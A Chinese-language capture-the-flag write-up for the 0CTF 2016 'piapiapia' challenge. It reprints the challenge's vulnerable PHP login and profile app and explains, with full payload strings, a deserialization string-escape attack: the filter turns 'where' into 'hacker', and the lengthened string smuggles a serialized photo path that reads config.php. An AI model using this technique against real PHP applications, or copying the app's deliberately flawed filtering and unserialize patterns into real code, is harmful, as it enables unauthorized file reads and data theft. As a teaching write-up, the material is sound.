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[0CTF 2016]piapiapia
打开是一个登陆页面
用dirsearch扫 扫出来 www.zip文件 用zend studio打开 我用的是这个php编译器 嘿嘿
class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
index.php
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
<?php
}
?>
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>
register.php
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
<?php
}
?>
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
发现flag被隐藏了
profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
在profile.php中看到了反序列化函数，让$profile['photo']的值为config.php，这样就能得到flag ，
这些代码的逻辑结构：
register->login->update->profile
在update.php中通过一些正则将一些函数替换为hacker
这里还有一个过滤，是控制nickname的值的，但是如果传过去的是一个数组的话，这个过滤就没了但是传过去后，会先把序列化的值，保存在数据中。
我们的目的是要读取config.php从而得到flag，读取config.php需要替换profile[‘photo’]，也就是要让config,php成为序列化的一部分，可以利用的是反序列化字符串逃逸
第一种方法 ：
让“";}s:5:“photo”;s:10:“config.php”;”被拼接在反序列化字符串里，而不是被当做nickname的值。因为“";}s:5:“photo”;s:10:“config.php”;}”是34个字符。那么我们就传递34个where，在序列化后，存入数据库时，会把where变成hacker，长度加一。这样代表nickname的“s”，就只能代表前34个hacker，即{s:6*34:hacker...kacker";}s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";} 因为本来6*34个字符的长度=34个where+“length(s:39:“upload/804f743824c0451b2f60d81b63b6a900”;})”，所以反序列化后， profile[‘nicjanme’] 就等于config.php了。
第二种方法：
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}
把config.php从nickname塞进去就变成了
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}
序列化之后结果photo的部分是config.php，但这样是读取不到config.php的，因为更新profile的时候根本没地方插进去，因此就需要从nickname入手把这些数据悄悄带进去
首先解决nickname的长度限制问题
就是将nickname变成数字就可以突破限制
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}
现在我们考虑怎么让";}s:5:“photo”;s:10:“config.php”;}这34个字符逃逸出来
前面提到Fliter会将where一类的函数替换成hacker，也就是说where在被正则替换后，其本身的长度会加1，如果我们构造34个where
34*5 = 170 170+34个字符=204=len(''hacker")*34
那么在传入后端之后hacker的长度就会将我们目标逃逸字符挤掉 过程如下
传入:
s:8:"nickname";a:1:{i:0;s:204:"34*where";}s:5:"photo";s:10:"config.php";}
此时34*where";}s:5:"photo";s:10:"config.php";}都作为nickname存在
正则替换:
s:8:"nickname";a:1:{i:0;s:204:"34*hacker";}s:5:"photo";s:10:"config.php";}
因为s只有204个字符,所以读取第34个hacker之后就停止,34个字符";}s:5:"photo";s:10:"config.php";}不再包含在nickname内
既然从nickname逃逸出，"};将前面的nickname数组闭合之后，剩下的s:5:"photo";s:10:"config.php";}就会被当作photo的部分了，至于后面的upload，由于被后面";}结束反序列化，也就被丢弃，这样就实现了config.php的读取
上传成功后，读取profile.php文件 查看页面源代码 ，然后会找到base64编码 解码即可得到flag
